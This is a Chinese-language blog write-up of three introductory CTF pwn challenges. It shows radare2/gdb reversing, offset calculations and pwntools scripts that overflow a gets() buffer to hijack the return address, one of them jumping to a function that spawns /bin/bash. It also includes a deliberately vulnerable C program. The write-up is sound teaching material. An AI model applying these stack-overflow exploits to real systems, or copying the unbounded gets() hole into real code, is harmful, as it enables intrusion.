一些pwn题的write_up

  pwn题就是好玩,做了几道题,写一波writeUp。
  点击标题可下载题目。

alias

1. crackme0x00

  首先我们把这玩意扔到radare2里,先逆了再说。
  看了一下main()大概长着个样子:

main

  然后下面的分支大概长这个样子:

brench

  大概意思就是,假如我输入的字符串等于250382就算我成功了。本身到这里其实题目已经做完了,但是为了实践stackoverflow,我们要用厉害的方法。

  我们可以看到有一个局部变量 char *s1 @ ebp-0x18 这说明这个字符串距离栈基址有 0x18 (24byte) 这么远.那么此时 s1 就距离 return_address 有 0x18+4 这么远.这个时候,我们就可以做一些恶心的事情,比如:

1
2
3
4
5
6
7
8
9
from pwn import *   

sh = process('./crackme0x00')

payload = 'a'*0x18 + 'bbbb' + p32(0x8048480)

sh.sendline(payload)

sh.interactive()

  我们这样构造payload的原因是,我们希望 return 的地址是我们想要的指令.我们前面输入了一堆aaa和bbbb这是为啥嘞?24个a为了填充s1与esp的值的间隔,而4个b则是为了恰好覆盖ebp.
  这样一来,后面的 p32(0x8048480) 就恰好存到了return_address的位置,也就起到了我们要的劫持指令的效果。结果长下面这样:

result

2. ret2text

  这个题稍微有点难度,我们用r2先逆为敬.
  main()大概长下面这样:

main

  我们可以看到里面有 gets() 函数,这个东西是坨垃圾,他不限制输入的长度,所以很有可能把缓冲区怼爆,所以我们就想法子日这个函数。
  我们看到里面有个局部变量 char *s @ esp+0x1c ,gets()函数的值就存在s里面。这个时候我们不禁萌生了一些猥琐的想法。
  我们接着看其他还有啥函数,毕竟main()里没有好利用的东西,这个时候我们发现了 sym.secure 这个函数:

sym.secure

  我们仔细看了一下发现,果然里面有见不得人的东西,它调用了 system(“/bin/bash”),这我们还能说什么,直接跳转到 0x0804863a 日了他完事。下面就是愉快的编写payload,我灵机一动发现事情并不简单,这个局部变量并不是基于 ebp 的偏移地址,而是基于 esp 栈顶指针给出的,不知道他用了什么妖术。这样的话我们只好用gdb动态调试:

gdb

  我们在gets()那里打上断点,然后看一下寄存器的值:

1
2
3
4
5
6
7
$esp -> 0xffffd030

$ebp -> 0xffffd0b8

s @ $esp+0x1c -> 0xffffd04c

($ebp - s) -> 0xfffd0b8 - 0xffffd04c = 0x6c

  一顿帅气操作我们已经得到了s基于ebp的偏移地址,下面我们就愉快的写payload:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *    

sh = process('./ret2text')

target = 0x0804863a

payload = 'a'*0x6c + 'bbbb' + p32(target)

sh.sendline(payload)

sh.interactive()

  下面就是我们的结果:

result

3. babyPwn

  这个题就比较简单了,程序也是我自己写的,下面是源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>   
#include <string.h>

void success() {
puts("You Hava already controlled it.");
}

void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}

int main(int argc, char **argv) {
vulnerable();
return 0;
}

  直接逆,main()和sym.vulnerable()大概下面这样:

main&vulnerable

  这个逻辑也比较简单,我们看main()里面好像啥也没有,接着看vulnerable()里面又出现了gets()这种东西,好了怼他,我们看到这个局部变量char s @ ebp-0x14中规中矩,给的也是基于 ebp 的偏移地址。
  接着我们看一看别的函数,里面有个醒目的 sym.success 是结果没跑了,一看长这样:

sym.success

  那我们就直接把success()的地址放在vulnerable()的返回值那里,让他直接跳转,思路清晰,下面愉快的写payload:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

sh = process('./1')

success_addr = 0x08049172

payload = 'a' * 20 + 'bbbb' + p32(success_addr)

print p32(success_addr)
sh.sendline(payload)

sh.interactive()

  然后结果就长这个样子:

result


总结

  总之,我认为pwn是入侵的最高境界,是一种暴力美学,如果说web能拿到一些主机的权限,那么pwn能拿到世界上所有主机的权限。
  漏洞的利用千奇百怪,绝不要被教条束缚了头脑,始终忘不了第一次见到如此简洁的shellcode时的惊讶。二进制就像魔法,我就是寻求刺激的魔法师。
  以上三道题目是入门题,我要走的路还很长。